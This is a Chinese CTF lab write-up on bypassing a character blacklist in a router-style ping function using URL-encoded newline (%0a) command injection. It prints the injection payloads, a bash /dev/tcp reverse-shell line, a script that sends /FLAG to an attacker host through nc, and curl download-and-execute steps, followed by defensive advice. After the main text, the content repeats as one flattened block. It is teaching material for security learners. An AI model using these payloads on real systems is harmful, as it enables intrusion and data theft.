CTFer成长之路之命令执行漏洞
字数 1134 2025-08-24 10:10:13

命令执行漏洞实战教学:CTF死亡ping命令绕过

漏洞背景

命令执行漏洞是Web安全中常见的高危漏洞之一,当应用程序将用户输入直接传递给系统shell执行时,如果未对用户输入进行充分过滤,攻击者就可能通过精心构造的输入执行任意系统命令。

本教学文档基于"CTFer成长之路之命令执行漏洞"中的"死亡ping命令"CTF题目,详细讲解命令执行漏洞的发现、利用和绕过技术。

题目环境

环境描述

题目模拟了一个路由器管理台常见的网络ping测试功能,开发者实现了部分安全防护措施,但存在可绕过的命令执行漏洞。

环境搭建

使用docker-compose快速搭建环境:

version: "3.2"
services:
  converter:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-command:latest
    ports:
      - 80:80

启动命令:

docker-compose up -d

漏洞发现与分析

初步测试

  1. 尝试常规ping命令输入:127.0.0.1

    • 正常响应,说明功能可用
  2. 尝试注入命令分隔符:127.0.0.1; ls

    • 返回"IP包含恶意字符",说明存在黑名单过滤

黑名单分析

通过fuzz测试发现以下字符被过滤:

  • 空格
  • 分号;
  • 与符号&
  • 管道符|
  • 反引号`
  • 美元符号$
  • 小于号<
  • 大于号>

绕过技术发现

测试发现可以使用%0a(URL编码的换行符)绕过过滤:

  • 127.0.0.1%0als 成功执行ls命令
  • 原理:%0a在shell中被解释为新行,可以开始新的命令

漏洞利用实战

利用限制

环境限制:

  1. 没有bash、python等高级解释器
  2. 无法直接使用sh反弹shell:
    bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
    

分步利用方案

第一步:准备攻击脚本

在攻击机(192.168.10.3)上创建1.sh文件,内容为:

ls
cat /FLAG | nc 192.168.10.3 8080

第二步:下载攻击脚本到目标

使用curl下载脚本到目标机的/tmp目录:

127.0.0.1%0acurl 192.168.10.3/1.sh > /tmp/1.sh

第三步:赋予执行权限

127.0.0.1%0achmod 777 /tmp/1.sh

第四步:执行攻击脚本

127.0.0.1%0ash /tmp/1.sh

第五步:攻击机监听获取flag

在攻击机上监听8080端口:

nc -l 8080

执行后将收到目标机发送的flag内容:

n1book{6fa82809179d7f19c67259aa285a7729}

防御方案

输入验证

  1. 严格限制输入格式,只允许IP地址格式:

    • 使用正则表达式验证:^(\d{1,3}\.){3}\d{1,3}$
  2. 拒绝任何包含特殊字符的输入

安全编程实践

  1. 使用安全的API代替命令执行:

    • 如Python的subprocess.run() with shell=False
  2. 最小权限原则:

    • 以低权限用户运行Web服务
  3. 白名单替代黑名单:

    • 只允许已知安全的字符

其他防护措施

  1. 实施Web应用防火墙(WAF)规则
  2. 定期安全审计和渗透测试
  3. 保持系统和组件更新

总结

本案例展示了命令执行漏洞的典型利用过程,重点包括:

  1. 黑名单绕过技术(%0a换行符注入)
  2. 受限环境下的利用方法(外部脚本下载执行)
  3. 分步骤的漏洞利用流程

通过此案例,安全研究人员可以深入理解命令执行漏洞的原理和利用技巧,同时学习如何有效防御此类漏洞。

命令执行漏洞实战教学:CTF死亡ping命令绕过 漏洞背景 命令执行漏洞是Web安全中常见的高危漏洞之一,当应用程序将用户输入直接传递给系统shell执行时,如果未对用户输入进行充分过滤,攻击者就可能通过精心构造的输入执行任意系统命令。 本教学文档基于"CTFer成长之路之命令执行漏洞"中的"死亡ping命令"CTF题目,详细讲解命令执行漏洞的发现、利用和绕过技术。 题目环境 环境描述 题目模拟了一个路由器管理台常见的网络ping测试功能,开发者实现了部分安全防护措施,但存在可绕过的命令执行漏洞。 环境搭建 使用docker-compose快速搭建环境: 启动命令: 漏洞发现与分析 初步测试 尝试常规ping命令输入: 127.0.0.1 正常响应,说明功能可用 尝试注入命令分隔符: 127.0.0.1; ls 返回"IP包含恶意字符",说明存在黑名单过滤 黑名单分析 通过fuzz测试发现以下字符被过滤: 空格 分号 ; 与符号 & 管道符 | 反引号 ` 美元符号 $ 小于号 < 大于号 > 绕过技术发现 测试发现可以使用 %0a (URL编码的换行符)绕过过滤: 127.0.0.1%0als 成功执行 ls 命令 原理: %0a 在shell中被解释为新行,可以开始新的命令 漏洞利用实战 利用限制 环境限制: 没有bash、python等高级解释器 无法直接使用sh反弹shell: 分步利用方案 第一步:准备攻击脚本 在攻击机(192.168.10.3)上创建 1.sh 文件,内容为: 第二步:下载攻击脚本到目标 使用curl下载脚本到目标机的/tmp目录: 第三步:赋予执行权限 第四步:执行攻击脚本 第五步:攻击机监听获取flag 在攻击机上监听8080端口: 执行后将收到目标机发送的flag内容: 防御方案 输入验证 严格限制输入格式,只允许IP地址格式: 使用正则表达式验证: ^(\d{1,3}\.){3}\d{1,3}$ 拒绝任何包含特殊字符的输入 安全编程实践 使用安全的API代替命令执行: 如Python的 subprocess.run() with shell=False 最小权限原则: 以低权限用户运行Web服务 白名单替代黑名单: 只允许已知安全的字符 其他防护措施 实施Web应用防火墙(WAF)规则 定期安全审计和渗透测试 保持系统和组件更新 总结 本案例展示了命令执行漏洞的典型利用过程,重点包括: 黑名单绕过技术( %0a 换行符注入) 受限环境下的利用方法(外部脚本下载执行) 分步骤的漏洞利用流程 通过此案例,安全研究人员可以深入理解命令执行漏洞的原理和利用技巧,同时学习如何有效防御此类漏洞。